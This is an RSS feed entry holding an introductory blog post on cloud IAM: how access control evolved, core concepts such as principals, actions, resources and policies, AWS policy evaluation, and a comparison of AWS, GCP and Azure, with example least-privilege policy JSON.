					<comments>https://linuxcent.com/what-is-cloud-iam/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 11 Apr 2026 12:19:03 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Azure IAM]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[GCP IAM]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Identity and Access Management]]></category>
		<category><![CDATA[Infrastructure Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/ep01-what-is-iam-the-identity-problem-in-modern-infrastructure/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>IAM controls who can access what in your cloud environment. Learn the core concepts — identities, principals, policies, and why cloud IAM is deny-by-default.</p>
<p>The post <a href="https://linuxcent.com/what-is-cloud-iam/">What Is Cloud IAM — and Why Every API Call Depends on It</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><strong>What Is Cloud IAM</strong> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud IAM</strong> is the system that decides whether any API call is allowed or denied — deny by default, explicit Allow required at every layer</li>
<li>Every API call answers four questions: Who? (Identity) What? (Action) On what? (Resource) Under what conditions? (Context)</li>
<li>Two identity types in every cloud account: human (engineers) and machine (Lambda, EC2, Kubernetes pods) — machine identities outnumber human by 10:1 in most production environments</li>
<li>AWS, GCP, and Azure share the same model: deny-by-default, policy-driven, principal-based — different syntax, same mental model</li>
<li>The gap between granted and used permissions is where attackers move — the average IAM entity uses under 5% of its granted permissions</li>
<li>IAM failure has two modes: over-permissioned (&#8220;it works&#8221;) and over-restricted (&#8220;it&#8217;s secure, engineers work around it&#8221;) — both end in incidents</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">                        WHAT IS CLOUD IAM?

  Every API call in AWS, GCP, or Azure answers four questions:

  ┌─────────────┐   ┌─────────────┐   ┌─────────────┐   ┌─────────────┐
  │    WHO?     │   │   WHAT?     │   │  ON WHAT?   │   │  UNDER      │
  │             │   │             │   │             │   │  WHAT?      │
  │  Identity / │   │  Action /   │   │  Resource   │   │             │
  │  Principal  │   │  Permission │   │             │   │  Condition  │
  │             │   │             │   │             │   │             │
  │ IAM Role    │   │ s3:GetObject│   │ arn:aws:s3: │   │ MFA: true   │
  │ Svc Account │   │ ec2:Start   │   │ ::prod-data │   │ IP: 10.0/8  │
  │ Managed     │   │ iam:        │   │ /exports/*  │   │ Time: 09-17 │
  │ Identity    │   │   PassRole  │   │             │   │             │
  └─────────────┘   └─────────────┘   └─────────────┘   └─────────────┘
        └────────────────┴────────────────┴────────────────┘
                                  │
                     ┌────────────▼────────────┐
                     │    IAM Policy Engine    │
                     │    deny by default      │
                     │                         │
                     │  Explicit ALLOW?   ─────┼──→  PERMIT
                     │  Explicit DENY?    ─────┼──→  DENY (overrides Allow)
                     │  No matching rule? ─────┼──→  DENY (implicit)
                     └─────────────────────────┘
</code></pre>
<p>Cloud IAM is the answer to a question every growing infrastructure team hits: at scale, how do you know <em>who can do what, why they can do it, and whether they still should?</em></p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>Cloud IAM (Identity and Access Management) is the control plane for access in every major cloud provider. Every API call — reading a file, starting an instance, invoking a function — goes through an IAM evaluation. The result is binary: explicit Allow or deny. There is no implicit access. Nothing is open by default. This is what makes cloud IAM fundamentally different from the access models that came before it.</p>
<p>Understanding <em>why</em> it works that way requires tracing how access control evolved — and what kept breaking at each stage.</p>
<p>A few years into my career managing Linux infrastructure, I was handed a production server audit. The task was straightforward: find out who had access to what. I pulled <code class="" data-line="">/etc/passwd</code>, checked the sudoers file, reviewed SSH authorized_keys across the fleet.</p>
<p>Three days later, I had a spreadsheet nobody wanted to read.</p>
<p>The problem wasn&#8217;t that the access was wrong. Most of it was fine. The problem was that nobody — not the team lead, not the security team, not the engineers who&#8217;d been there five years — could tell me <em>why</em> a particular account had access to a particular server. It had accumulated. People joined, got access, changed teams, left. The access stayed.</p>
<p>That was a 40-server fleet in 2012.</p>
<p>Fast-forward to a cloud environment today: you might have 50 engineers, 300 Lambda functions, 20 microservices, CI/CD pipelines, third-party integrations, compliance scanners — all making API calls, all needing access to something. The identity sprawl problem I spent three days auditing manually on 40 servers now exists at a scale where manual auditing isn&#8217;t even a conversation.</p>
<p>This is the problem Identity and Access Management exists to solve. Not just in theory — in practice, at the scale cloud infrastructure demands.</p>
<hr />
<h2 id="how-we-got-here-the-evolution-of-access-control">How We Got Here — The Evolution of Access Control</h2>
<p>To understand <em>why</em> cloud IAM works the way it does, you need to trace how access control evolved. The design decisions in AWS IAM, GCP, and Azure didn&#8217;t come out of nowhere. They&#8217;re answers to lessons learned the hard way across decades of broken systems.</p>
<h3 id="the-unix-model-1970s1990s-simple-and-sufficient">The Unix Model (1970s–1990s): Simple and Sufficient</h3>
<p>Unix got the fundamentals right early. Every resource (file, device, process) has an owner and a group. Every action is one of three: read, write, execute. Every user is either the owner, in the group, or everyone else.</p>
<pre><code class="" data-line="">-rw-r--r--  1 vamshi  engineers  4096 Apr 11 09:00 deploy.conf
# owner can read/write | group can read | others can read
</code></pre>
<p>For a single machine or a small network, this model is elegant. The permissions are visible in a <code class="" data-line="">ls -l</code>. Reasoning about access is straightforward. Auditing means reading a few files.</p>
<p>However, the cracks started showing when organizations grew. You&#8217;d add <code class="" data-line="">sudo</code> to give specific commands to specific users. Then sudoers files became 300 lines long. Then you&#8217;d have shared accounts because managing individual ones was &#8220;too much overhead.&#8221; Shared accounts mean no individual accountability. No accountability means no audit trail worth anything.</p>
<h3 id="the-directory-era-1990s2000s-centralise-or-collapse">The Directory Era (1990s–2000s): Centralise or Collapse</h3>
<p>As networks grew, every server managing its own <code class="" data-line="">/etc/passwd</code> became untenable. Enter <strong>LDAP</strong> and <strong>Active Directory</strong>. Instead of distributing identity management across every machine, you centralised it: one directory, one place to add users, one place to disable them when someone left.</p>
<p>This was a significant step forward. Onboarding got faster. Offboarding became reliable. Group membership drove access to resources across the network.</p>
<h3 id="why-groups-became-the-new-problem">Why Groups Became the New Problem</h3>
<p>But the permission model was still coarse. You were either in the Domain Admins group or you weren&#8217;t. &#8220;Read access to the file share&#8221; was a group. &#8220;Deploy to the staging web server&#8221; was a group. Managing fine-grained permissions at scale meant managing hundreds of groups, and the groups themselves became the audit nightmare.</p>
<p>I spent time in environments like this. The group named <code class="" data-line="">SG_Prod_App_ReadWrite_v2_FINAL</code> that nobody could explain. The AD group from a project that ended three years ago but was still in twenty user accounts. The contractor whose AD account was disabled but whose service account was still running a nightly job.</p>
<p>The directory model centralised identity. It didn&#8217;t solve the permissions sprawl problem.</p>
<h3 id="the-cloud-shift-20062014-everything-changes">The Cloud Shift (2006–2014): Everything Changes</h3>
<p>AWS launched EC2 in 2006. In 2011, AWS IAM went into general availability. That date matters — for the first five years of AWS, access control was primitive. Root accounts. Access keys. No roles.</p>
<p>Early AWS environments I&#8217;ve seen (and had to clean up) reflect this era: a single root account access key shared across a team, rotated manually on a shared spreadsheet. Static credentials in application config files. EC2 instances with AdministratorAccess because &#8220;it was easier at the time.&#8221;</p>
<h3 id="the-model-that-changed-everything">The Model That Changed Everything</h3>
<p>The AWS team understood what they&#8217;d built was dangerous. IAM in 2011 introduced the model that all three major cloud providers now share: <strong>deny-by-default, policy-driven, principal-based access control</strong>. Not &#8220;who is in which group.&#8221; The question became: which policy explicitly grants this specific action on this specific resource to this specific identity.</p>
<p>GCP launched its IAM model with a different flavour in 2012 — hierarchical, additive, binding-based. Azure RBAC came to general availability in 2014, built on top of Active Directory&#8217;s identity model.</p>
<p>By 2015, the modern cloud IAM era was established. The primitives existed. The problem shifted from &#8220;does IAM exist?&#8221; to &#8220;are we using it correctly?&#8221; — and most teams were not.</p>
<p>In practice, that question is still the right one to ask today.</p>
<hr />
<h2 id="the-problem-iam-actually-solves">The Problem IAM Actually Solves</h2>
<p>Here&#8217;s the honest version of what IAM is for, based on what I&#8217;ve seen go wrong without it.</p>
<p><strong>Without proper IAM, you get one of two outcomes:</strong></p>
<p>The first is what I call the <em>&#8220;it works&#8221;</em> environment. Everything runs. The developers are happy. Access requests take five minutes because everyone gets the same broad policy. And then a Lambda function&#8217;s execution role — which had <code class="" data-line="">s3:*</code> on <code class="" data-line="">*</code> because someone once needed to debug something — gets its credentials exposed through an SSRF vulnerability in the app it runs. That role can now read every bucket in the account, including the one with the customer database exports.</p>
<p>The second is the <em>&#8220;it&#8217;s secure&#8221;</em> environment. Access is locked down. Every request goes through a ticket. The ticket goes to a security team that approves it in three to five business days. Engineers work around it by storing credentials locally. The workarounds become the real access model. The formal IAM posture and the actual access posture diverge. The audit finds the formal one. Attackers find the real one.</p>
<p>IAM, done right, is the discipline of walking the line between those two outcomes. It&#8217;s not a product you buy or a feature you turn on. It&#8217;s a practice — a continuous process of defining what access exists, why it exists, and whether it&#8217;s still needed.</p>
<hr />
<h2 id="the-core-concepts-taught-not-listed">The Core Concepts — Taught, Not Listed</h2>
<p>Let me walk you through the vocabulary you need, grounded in what each concept means in practice.</p>
<h3 id="identity-who-is-making-this-request">Identity: Who Is Making This Request?</h3>
<p>An <strong>identity</strong> is any entity that can hold a credential and make requests. In cloud environments, identities split into two types:</p>
<p><strong>Human identities</strong> are engineers, operators, and developers. They authenticate via the console, CLI, or SDK. They should ideally authenticate through a central IdP (Okta, Google Workspace, Entra ID) using federation — more on that in <a href="/cloud-identity-federation-oidc-saml/">SAML vs OIDC: Which Federation Protocol Belongs in Your Cloud?</a>.</p>
<p><strong>Machine identities</strong> are everything else: Lambda functions, EC2 instances, Kubernetes pods, CI/CD pipelines, monitoring agents, data pipelines. In most production environments, machine identities outnumber human identities by 10:1 or more.</p>
<p>This ratio matters. When your security model is designed primarily for human access, the 90% of identities that are machines become an afterthought. That&#8217;s where access keys end up in environment variables, where Lambda functions get broad permissions because nobody thought carefully about what they actually need, where the real attack surface lives.</p>
<h3 id="principal-the-authenticated-identity-making-a-specific-request">Principal: The Authenticated Identity Making a Specific Request</h3>
<p>A <strong>principal</strong> is an identity that has been authenticated and is currently making a request. The distinction from &#8220;identity&#8221; is subtle but important: the principal includes the context of how the identity authenticated.</p>
<p>In AWS, an IAM role assumed by EC2, assumed by a Lambda, and assumed by a developer&#8217;s CLI session are three different principals — even if they all assume the same role. The session context, source, and expiration differ.</p>
<pre><code class="" data-line="">{
  &quot;Principal&quot;: {
    &quot;AWS&quot;: &quot;arn:aws:iam::123456789012:role/DataPipelineRole&quot;
  }
}
</code></pre>
<p>In GCP, the equivalent term is <strong>member</strong>. In Azure, it&#8217;s <strong>security principal</strong> — a user, group, service principal, or managed identity.</p>
<h3 id="resource-what-is-being-accessed">Resource: What Is Being Accessed?</h3>
<p>A <strong>resource</strong> is whatever is being acted upon. In AWS, every resource has an ARN (Amazon Resource Name) — a globally unique identifier.</p>
<pre><code class="" data-line="">arn:aws:s3:::customer-data-prod          # S3 bucket
arn:aws:s3:::customer-data-prod/*        # everything inside that bucket
arn:aws:ec2:ap-south-1:123456789012:instance/i-0abcdef1234567890
arn:aws:iam::123456789012:role/DataPipelineRole
</code></pre>
<p>The ARN structure tells you: service, region, account, resource type, resource name. Once you can read ARNs fluently, IAM policies become much less intimidating.</p>
<h3 id="action-what-is-being-done">Action: What Is Being Done?</h3>
<p>An <strong>action</strong> (AWS/Azure) or <strong>permission</strong> (GCP) is the operation being attempted. Cloud providers express these as <code class="" data-line="">service:Operation</code> strings:</p>
<pre><code class="" data-line=""># AWS
s3:GetObject           # read a specific object
s3:PutObject           # write an object
s3:DeleteObject        # delete an object — treat differently than read
iam:PassRole           # assign a role to a service — one of the most dangerous permissions
ec2:DescribeInstances  # list instances — often overlooked, but reveals infrastructure

# GCP
storage.objects.get
storage.objects.create
iam.serviceAccounts.actAs   # impersonate a service account — equivalent to iam:PassRole danger
</code></pre>
<p>When I audit IAM configurations, I pay special attention to any policy that includes <code class="" data-line="">iam:*</code>, <code class="" data-line="">iam:PassRole</code>, or wildcards like <code class="" data-line="">&quot;Action&quot;: &quot;*&quot;</code>. These are the permissions that let a compromised identity create new identities, assign itself more power, or impersonate other accounts. They&#8217;re the privilege escalation primitives — more on that in <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a>.</p>
<h3 id="policy-the-document-that-connects-everything">Policy: The Document That Connects Everything</h3>
<p>A <strong>policy</strong> is a document that says: this principal can perform these actions on these resources, under these conditions.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;ReadCustomerDataBucket&quot;,
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: [
        &quot;s3:GetObject&quot;,
        &quot;s3:ListBucket&quot;
      ],
      &quot;Resource&quot;: [
        &quot;arn:aws:s3:::customer-data-prod&quot;,
        &quot;arn:aws:s3:::customer-data-prod/*&quot;
      ]
    }
  ]
}
</code></pre>
<p>Notice what&#8217;s explicit here: the effect (<code class="" data-line="">Allow</code>), the exact actions (not <code class="" data-line="">s3:*</code>), and the exact resource (not <code class="" data-line="">*</code>). Every word in this document is a deliberate decision. The moment you start using wildcards to save typing, you&#8217;re writing technical debt that will come back as a security incident.</p>
<hr />
<h2 id="how-iam-actually-works-the-decision-flow">How IAM Actually Works — The Decision Flow</h2>
<p>When any API call hits a cloud service, an IAM engine evaluates it. Understanding this flow is the foundation of debugging access issues, and more importantly, of understanding why your security posture is what it is.</p>
<pre><code class="" data-line="">Request arrives:
  Action:    s3:PutObject
  Resource:  arn:aws:s3:::customer-data-prod/exports/2026-04-11.csv
  Principal: arn:aws:iam::123456789012:role/DataPipelineRole
  Context:   { source_ip: &quot;10.0.2.15&quot;, mfa: false, time: &quot;02:30 UTC&quot; }

IAM Engine evaluation (AWS):
  1. Is there an explicit Deny anywhere? → No
  2. Does the SCP (if any) allow this? → Yes
  3. Does the identity-based policy allow this? → Yes (via DataPipelinePolicy)
  4. Does the resource-based policy (bucket policy) allow or deny? → No explicit rule → implicit allow for same-account
  5. Is there a permissions boundary? → No
  Decision: ALLOW
</code></pre>
<p>The critical insight here: <strong>cloud IAM is deny-by-default</strong>. There is no implicit allow. If there is no policy that explicitly grants <code class="" data-line="">s3:PutObject</code> to this role on this bucket, the request fails. The only way in is through an explicit <code class="" data-line="">&quot;Effect&quot;: &quot;Allow&quot;</code>.</p>
<p>This is the opposite of how most traditional systems work. In a Unix permission model, if your file is world-readable (<code class="" data-line="">-r--r--r--</code>), anyone can read it unless you actively restrict them. In cloud IAM, nothing is accessible unless you actively grant it.</p>
<p>When I&#8217;m debugging an <code class="" data-line="">AccessDenied</code> error — and every engineer who works with cloud IAM spends significant time doing this — the mental model is always: &#8220;what is the chain of explicit Allows that should be granting this access, and at which layer is it missing?&#8221;</p>
<hr />
<h2 id="why-this-is-harder-than-it-looks">Why This Is Harder Than It Looks</h2>
<p>Understanding the concepts is the easy part. The hard part is everything that happens at organisational scale over time.</p>
<p><strong>Scale.</strong> A real AWS account in a growing company might have 600+ IAM roles, 300+ policies, and 40+ cross-account trust relationships. None of these were designed together. They evolved incrementally, each change made by someone who understood the context at the time and may have left the organisation since. The cumulative effect is an IAM configuration that no single person fully understands.</p>
<p><strong>Drift.</strong> IAM configs don&#8217;t stay clean. An engineer needs to debug a production issue at 2 AM and grants themselves broad access temporarily. The temporary access never gets revoked. Multiply that by a team of 20 over three years. I&#8217;ve audited environments where 60% of the permissions in a role had never been used — not once — in the 90-day CloudTrail window. That unused 60% is pure attack surface.</p>
<p><strong>The machine identity blind spot.</strong> Most IAM governance practices were built for human users. Service accounts, Lambda roles, and CI/CD pipeline identities get created rapidly and reviewed rarely. In my experience, these are the identities most likely to have excess permissions, least likely to be in the access review process, and most likely to be the initial foothold in a cloud breach.</p>
<p><strong>The gap between granted and used.</strong> That said, this one surprised me most when I first started doing cloud security work. AWS data from real customer accounts shows the average IAM entity uses less than 5% of its granted permissions. That 95% excess isn&#8217;t just waste — it&#8217;s attack surface. Every permission that exists but isn&#8217;t needed is a permission an attacker can use if they compromise that identity.</p>
<hr />
<h2 id="iam-across-aws-gcp-and-azure-the-conceptual-map">IAM Across AWS, GCP, and Azure — The Conceptual Map</h2>
<p>The three major providers implement IAM differently in syntax, but the same model underlies all of them. Once you understand one deeply, the others become a translation exercise.</p>
<table>
<thead>
<tr>
<th>Concept</th>
<th>AWS</th>
<th>GCP</th>
<th>Azure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Identity store</td>
<td>IAM users / roles</td>
<td>Google accounts, Workspace</td>
<td>Entra ID</td>
</tr>
<tr>
<td>Machine identity</td>
<td>IAM Role (via instance profile or AssumeRole)</td>
<td>Service Account</td>
<td>Managed Identity</td>
</tr>
<tr>
<td>Access grant mechanism</td>
<td>Policy document attached to identity or resource</td>
<td>IAM binding on resource (member + role + condition)</td>
<td>Role Assignment (principal + role + scope)</td>
</tr>
<tr>
<td>Hierarchy</td>
<td>Account is the boundary; Org via SCPs</td>
<td>Org → Folder → Project → Resource</td>
<td>Tenant → Management Group → Subscription → Resource Group → Resource</td>
</tr>
<tr>
<td>Default stance</td>
<td>Deny</td>
<td>Deny</td>
<td>Deny</td>
</tr>
<tr>
<td>Wildcard risk</td>
<td><code class="" data-line="">&quot;Action&quot;: &quot;*&quot;</code> on <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code></td>
<td>Primitive roles (viewer/editor/owner)</td>
<td><code class="" data-line="">Owner</code> or <code class="" data-line="">Contributor</code> assigned broadly</td>
</tr>
</tbody>
</table>
<p>The hierarchy point is worth pausing on. AWS is relatively flat — the account is the primary security boundary. GCP&#8217;s hierarchy means a binding at the Organisation level propagates down to every project. Azure&#8217;s hierarchy means a role assignment at the Management Group level flows through every subscription beneath it.</p>
<p>The blast radius of a misconfiguration scales with how high in the hierarchy it sits.</p>
<p>This will matter in <a href="/gcp-iam-deep-dive/">GCP IAM Policy Inheritance</a> and <a href="/azure-rbac-entra-id-guide/">Azure RBAC Explained</a> when we go deep on GCP and Azure specifically. For now, the takeaway is: understand where in the hierarchy a permission is granted, because the same permission granted at the wrong level has a very different security implication.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<p>If you&#8217;re mapping this episode to a control framework — for a compliance audit, a certification study, or building a security program — here&#8217;s where it lands:</p>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>IAM as a risk reduction control; blast radius is a risk variable</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Direct implementation: who can do what, to which resources, under what conditions</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Policy requirements for restricting access to information and systems</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.16 Identity management</td>
<td>Managing the full lifecycle of identities in the organization</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Provisioning, review, and removal of access rights</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Logical access security controls to protect against unauthorized access</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Access removal and review processes to limit unauthorized access</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>IAM evolved from Unix file permissions → directory services → cloud policy engines, driven by scale and the failure modes of each prior model</li>
<li>Cloud IAM is deny-by-default: every access requires an explicit Allow somewhere in the policy chain</li>
<li>Identities are human or machine; in production, machines dominate — and they&#8217;re the under-governed majority</li>
<li>A policy binds a principal to actions on resources; every word is a deliberate security decision</li>
<li>The hardest IAM problems aren&#8217;t technical — they&#8217;re organisational: drift, unused permissions, machine identities nobody owns, and access reviews that never happen</li>
<li>The gap between granted and used permissions is where attackers find room to move</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Now that you understand what IAM is and why it exists, the next question is the one that trips up even experienced engineers: what&#8217;s the difference between authentication and authorization, and why does conflating them cause security failures?</p>
<p>EP02 works through both — how cloud providers implement each, where the boundary sits, and why getting this boundary wrong creates exploitable gaps.</p>
<p><em>Next: <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization: AWS AccessDenied Explained</a></em></p>
<p>Get EP02 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&amp;linkname=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&amp;linkname=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&amp;linkname=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&amp;linkname=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&amp;linkname=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&amp;linkname=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&amp;linkname=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fwhat-is-cloud-iam%2F&#038;title=What%20Is%20Cloud%20IAM%20%E2%80%94%20and%20Why%20Every%20API%20Call%20Depends%20on%20It" data-a2a-url="https://linuxcent.com/what-is-cloud-iam/" data-a2a-title="What Is Cloud IAM — and Why Every API Call Depends on It"></a></p><p>The post <a href="https://linuxcent.com/what-is-cloud-iam/">What Is Cloud IAM — and Why Every API Call Depends on It</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/what-is-cloud-iam/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1445</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-09-02 10:12:44 by W3 Total Cache
-->